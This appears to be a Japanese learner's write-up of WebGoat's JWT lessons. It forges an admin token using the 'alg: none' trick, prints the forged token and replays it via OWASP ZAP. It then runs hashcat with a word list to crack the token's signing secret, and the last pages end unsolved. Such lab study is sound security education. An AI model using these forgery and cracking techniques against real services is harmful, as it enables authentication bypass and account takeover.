WebGoat-11: JWT tokens

JWT(Json Web Token)とは、JSONデータに電子署名や暗号化方式を格納したもの。これを使ってサーバとクライアントは認証しあうわけだが、やはりこれにも脆弱性が存在する。

暗号化方式を格納したヘッダー部、認証情報を格納したペイロード部のJSONデータと秘密鍵がそれぞれBase64urlエンコードされピリオドでつなげた文字列がJWTトークンとなるらしい。

a

Page 4

どうにかして管理者ユーザになりすまし、投票データを全削除せよ、という問題。
Tomでログインする際のPOSTリクエストに対するレスポンス・ヘッダーで、Cookie パラメータは以下のようになっていた。

Set-Cookie: access_token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2MDE3MTE1MzksImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.nhxEXTw3MOpucQlr2_j94sQ6FhGvqGVS1049d2ewcJTikF-
おそらくこれがJWTトークンだ。それぞれBase64デコードしてみる。

$ echo -n "eyJhbGciOiJIUzUxMiJ9" | base64 -d
{"alg":"HS512"}
$ echo -n "eyJpYXQiOjE2MDE3MTE1MzksImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0" | base64 -d
{"iat":1601711539,"admin":"false","user":"Tom"}base64: invalid input

あ、そうか。base64じゃなくてbase64urlじゃないとだめだ。
pythonでもbase64.urlsafe_b64decode()を使ってみたが例外を吐くので、basse64urlエンコード・デコードにはG Suite Toolboxを使う。

https://toolbox.googleapps.com/apps/encode_decode/

adminパラメータをtrueに変更すればよさそうだ。
だが単純にそうしただけではハックできない。JWTにはヘッダー部とペイロード部から作成された電子署名があるからだ。だからパラメータを改ざんするとサーバ側の署名チェックの際に一発でばれる。
ここで詰まったのでヒントを見る。電子署名生成方式をNoneに変更し、電子署名部を削除すればよいようだ。

  • {"alg":"none"}: eyJhbGciOiJub25lIn0Noneではだめ。ヒントに罠を貼るな。)
  • {"iat":1601711539,"admin":"true","user":"Tom"}: eyJpYXQiOjE2MDE3MTE1MzksImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ

これらからJWTにしたものがeyJhbGciOiJub25lIn0.eyJpYXQiOjE2MDE3MTE1MzksImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ.である。電子署名部を削除するといっても、末尾の.を消してはいけない。

a

owasp zapでPOSTリクエストをブレークさえ、ゴミ箱アイコンをクリック。上記のJWTをaccess_tokenにセットした上でリクエストすることで問題クリア。

a

Page 5

JWTから秘密鍵を解析し、ユーザ名を変更した上で新たなJWTを送信せよ、という問題。
この記事書いてる途中でJWTをクソ簡単にデコードしてくれるwebサイトを見つけた。

https://jwt.io/

  • ヘッダー部
{
  "alg": "HS256"
}
  • ペイロード部
{
  "iss": "WebGoat Token Builder",
  "aud": "webgoat.org",
  "iat": 1600926587,
  "exp": 1600926647,
  "sub": "tom@webgoat.org",
  "username": "Tom",
  "Email": "tom@webgoat.org",
  "Role": [
    "Manager",
    "Project Administrator"
  ]
}

hashcatなるソフトウェアを使うとよいらしい。
以下のサイトからダウンロードし、7zで解凍。

https://hashcat.net/hashcat/

解凍したフォルダに移動後、そのフォルダ内で辞書データをダウンロード。

> git clone https://github.com/first20hours/google-10000-english.git

webgoatで提示されているJWTを適当なテキストファイル(ここではwebgoat.hash)にコピペ。
hashcatを実行。

> .\hashcat.exe -m 16500 -a 0 .\webgoat.hash .\google-10000-english\google-10000-english.txt
hashcat (v6.1.1) starting...

ADL_Overdrive_Caps(): -8

ADL_Overdrive_Caps(): -8

ADL_Overdrive_Caps(): -8

ADL_Overdrive_Caps(): -8

ADL_Overdrive_Caps(): -8

ADL_Overdrive_Caps(): -8

OpenCL API (OpenCL 2.1 AMD-APP (2841.19)) - Platform #1 [Advanced Micro Devices, Inc.]
======================================================================================
* Device #1: gfx902, 10209/10273 MB (4048 MB allocatable), 8MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

INFO: All hashes found in potfile! Use --show to display them.

Started: Thu Sep 24 15:29:41 2020
Stopped: Thu Sep 24 15:29:42 2020

なんでじゃ。

Page 7

わからん。

Page 8

わからん。